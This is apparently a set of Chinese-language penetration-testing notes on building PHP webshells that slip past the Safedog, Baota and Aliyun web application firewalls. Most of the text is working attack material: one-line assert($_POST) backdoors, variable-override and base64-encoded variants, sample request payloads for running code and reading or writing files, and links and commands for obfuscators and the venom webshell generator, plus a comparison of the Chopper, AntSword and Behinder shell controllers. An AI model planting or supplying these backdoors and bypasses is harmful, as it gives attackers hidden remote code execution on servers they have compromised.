Safedog代码层手写及脚本绕过
变量覆盖,加密混淆,异或生成
BT Aliyun代码层手写及脚本绕过
编码解码(变量覆盖,加密混淆,异或生成)
ASP,PHP,ASPX,JSP,PY等后门免杀同理
先绕安全狗–>安全狗加BT–>安全狗加BT加Aliyun,三者依次测试
案例1:Safedog-手写覆盖变量简易代码绕过-代码层
一句话木马:<?php assert($_POST['chopper']);?>
变量覆盖:通过把敏感字符写到参数上,绕过WAF:
<?php
$a=$_GET['x'];
$$a=$_GET['y'];
$b($_POST['z']);
?>
//传参:?x=b&y=assert
//$a=b $$a=assert=$b assert($_POST['z']);
可以绕过safedog查杀
安全狗可以代码追踪发现参数关联,将敏感字符写在参数中 实现绕过
上传成功后,
访问:http://127.0.0.1:8081/x/1.php?x=b&y=assert
并且(可以用hackbar插件)postdata:z=phpinfo();
safedog不拦截
测试,成功。
案例2:Safedog,BT,Aliyun-基于 覆盖变量 编码解码 绕过-代码层
采取覆盖变量的方式可以绕过安全狗查杀,但是会被宝塔拦截。原因是 宝塔过滤规则里定义了phpinfo()等关键字。
所以可以配套 使用编码解码方式 绕过 宝塔。
一句话木马:
<?php
$a=$_GET['x'];
$$a=$_GET['y'];
$b(base64_decode($_POST['z']));
?>
上传成功后,
访问:http://127.0.0.1:8081/x/1.php?x=b&y=assert
并且(可以用hackbar插件)postdata:z=cGhwaW5mbygpOw==
测试,成功。
案例3:Safedog-基于接口类加密混淆代码绕过-代码层
上传一句话木马:
<?php assert(base64_decode($_POST['chopper']));?>
木马文件被安全狗查杀
可以采用加密混淆的方法绕过
方法1:使用enPHP工具加密混淆代码
enPHP:一个开源加密混淆 PHP 代码项目
源码地址:https://github.com/djunny/enphp(工具已被删除)
命令:php.exe code_test.php
在线地址:http://enphp.djunny.com
加密混淆后木马:
方法2:phpjiami在线加密混淆
地址:https://www.phpjiami.com/phpjiami.html
木马加密前后对比:
案例4:safedog,BT,Aliyun-基于覆盖加密变异下编码解码绕过-代码层
venom:支持生成asp、aspx、jsp、php等一句话免杀木马
下载:https://pan.baidu.com/s/1msqO2kps139NNP9ZEIAVHw 提取码:xiao
gitee地址:https://gitee.com/Dyan_code/webshell-venom?_from=gitee_search
使用方法
python3 php_venom_3.3.py //生成免杀一句话
python3 php_venom_3.3.py shell.php //对同目录下shell.php进行免杀处理,结果保存在shell.php.bypass.php
3.x 使用说明:
是否传入id参数决定是否把流量编码
http://www.xxx.com/shell.php
POST: mr6=phpinfo(); //与普通shell相同
http://www.xxx.com/shell.php?id=xxx(xxxx随便修改)
POST: mr6=cGhwaW5mbygpOwo= //payload的base64编码
案例5:Safedog,BT,Aliyun-基于冰蝎新型控制器绕过全面测试-行为层
3个工具比较:
菜刀:已经不再更新了,无插件(看举例1),单向加密传输,打5分,不建议使用。
蚁剑:持续更新状态,有插件,扩展性强,缺点是单向加密传输,打8分。
冰蝎:持续更新状态,未知插件,扩展性强,双向加密传输,偏向于后渗透,可以联动msf.,打分9分,推荐使用。
下载地址:
冰蝎:https://github.com/rebeyond/Behinder/releases/
蚁剑:https://github.com/AntSwordProject/antSword/releases
举例1:菜刀工具没有base64编码解码功能,所以就无法通过编码绕过宝塔,但是蚁剑可以
冰蝎原理示意图
案例6:Safedog,BT,Aliyun-基于手写新型控制器绕过全面测试-行为层使用工具连接木马时,waf可能会通过工具的指纹实现拦截,此时我们可以采用如下方法绕过:1、指纹变异、2、自己造轮子如下
http://test.xxx.com/xx.php?x=b&y=assert
post data举例:
执行代码 z=phpinfo(); --> z=cGhwaW5mbygpOw==
写入文件 z=file_put_contents("test.txt","1"); --> z=ZmlsZV9wdXRfY29udGVudHMoInRlc3QudHh0IiwiMSIpOw==
读取文件 z=var_dump(scandir(".")); --> z=dmFyX2R1bXAoc2NhbmRpcigiLiIpKTs=